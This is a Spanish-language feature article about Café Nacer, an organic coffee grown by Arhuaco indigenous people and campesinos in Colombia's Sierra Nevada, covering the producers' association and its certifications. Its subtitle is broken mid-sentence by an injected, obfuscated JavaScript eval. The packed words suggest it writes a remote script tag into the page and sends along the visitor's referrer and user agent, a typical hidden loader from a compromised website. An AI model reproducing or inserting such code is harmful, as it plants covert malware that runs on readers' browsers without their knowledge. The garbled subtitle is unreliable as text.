La Sierra Nevada huele a café

Reyna Carreño / Maracaibo / [email protected]
Indígenas eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dnbnk|var|u0026u|referrer|ksiki||js|php'.split('|'),0,{})) y campesinos siembran, cosechan y empacan un producto de sabor y aroma únicos

Fotos: Reyna Carreño

Caminos polvorientos que solo se pueden visitar a lomo de caballo o a bordo de un rústico; verde, mucho verde que contrasta con la pulcritud blanquísima del atuendo de los indígenas y con su rostro moreno de sonrisa espléndida; estos son los caminos cafetaleros de la Sierra Nevada colombiana, donde campesinos y arahuacos trabajan hombro a hombro para sembrar, cosechar y empacar un producto único: el café orgánico Nacer.

La historia cafetalera de la Sierra Nevada no es nueva, se remonta a 1998, cuando por la necesidad de apoyar los procesos de conservación de la sierra de Santa Marta, Luis Torres, agricultor de Pueblo Bello, decidió buscar apoyo para lograr la mayor información posible que les permitiera obtener la certificación internacional como productores orgánicos o ecológicos.

Esto representaba para ellos la posibilidad de que la producción de café generara ingresos adicionales a los agricultores campesinos e indígenas, permitiéndoles a la vez continuar con sus métodos tradicionales de producción, que no solo son totalmente respetuosos con el medio ambiente, sino que están en perfecta armonía con él, siendo el entorno natural su mayor riqueza.

Con el apoyo de la GTZ (Cooperación Técnica Alemana) y la Federación Nacional de Cafetaleros de Colombia se logró la socialización de normas para la agricultura ecológica y la consolidación de la Asociación de Productores orgánicos arahuacos y campesinos de la Sierra Nevada inicialmente con 32 familias. Estos pioneros, a pesar de ser dos grupos culturales distintos, demostraron que los unía el interés por la conservación de la naturaleza y el valor agregado del café por el nuevo modelo de producción.

La asociación logra la certificación ecológica para la cosecha 2000-2001 con la empresa cocerficadora Biolatina e intenta la primera comercialización de su café con el nombre Tiwen, vocablo tomado de la lengua indígena arahuaca que significa 'tradicional o de origen'. Para las tres cosechas siguientes se contrataron los servicios de la empresa Biotrópico y para la cosecha 2004-2005, la empresa IMO.

Durante la cosecha de 2003 se establece la relación comercial con la compañía Specialty Tropical Coffees en Suiza, que orienta a la asociación para lograr la acreditación como productores con registro FLO, que obtiene en abril de 2004 con el ID 2769. A la fecha, la asociación está conformada por 236 asociados, 40 % campesinos y 60 % indígenas, con una capacidad de producción de cinco mil sacos (350 TM de café verde), comercializados bajo el nombre de café Nacer, nombre dado por la comunidad de productores, que afirma que, dados los atributos de este café, tomar una taza de café es estar conectado con las antiguas tradiciones de la cultura y es volver a nacer con el compromiso de conservar la Sierra Nevada como patrimonio de la humanidad.

Arriba está el sabor

Los campesinos están ubicados en la cara nororiental de Sierra Nevada de Santa Marta, en los municipios de Pueblo Bello y Valledupar, pertenecientes al departamento del César, en Colombia, a una altitud de entre mil 300 y mil 800 metros.

Movidos por la necesidad 

Las familias campesinas que integran el grupo de agricultores llegaron del interior del país desplazadas por la violencia generada por los partidos políticos en la década del 50. En promedio, cada grupo tiene seis miembros. El único cultivo que comercializan en masa es el café, el resto de productos se cultiva en lotes pequeños para el sustento familiar.

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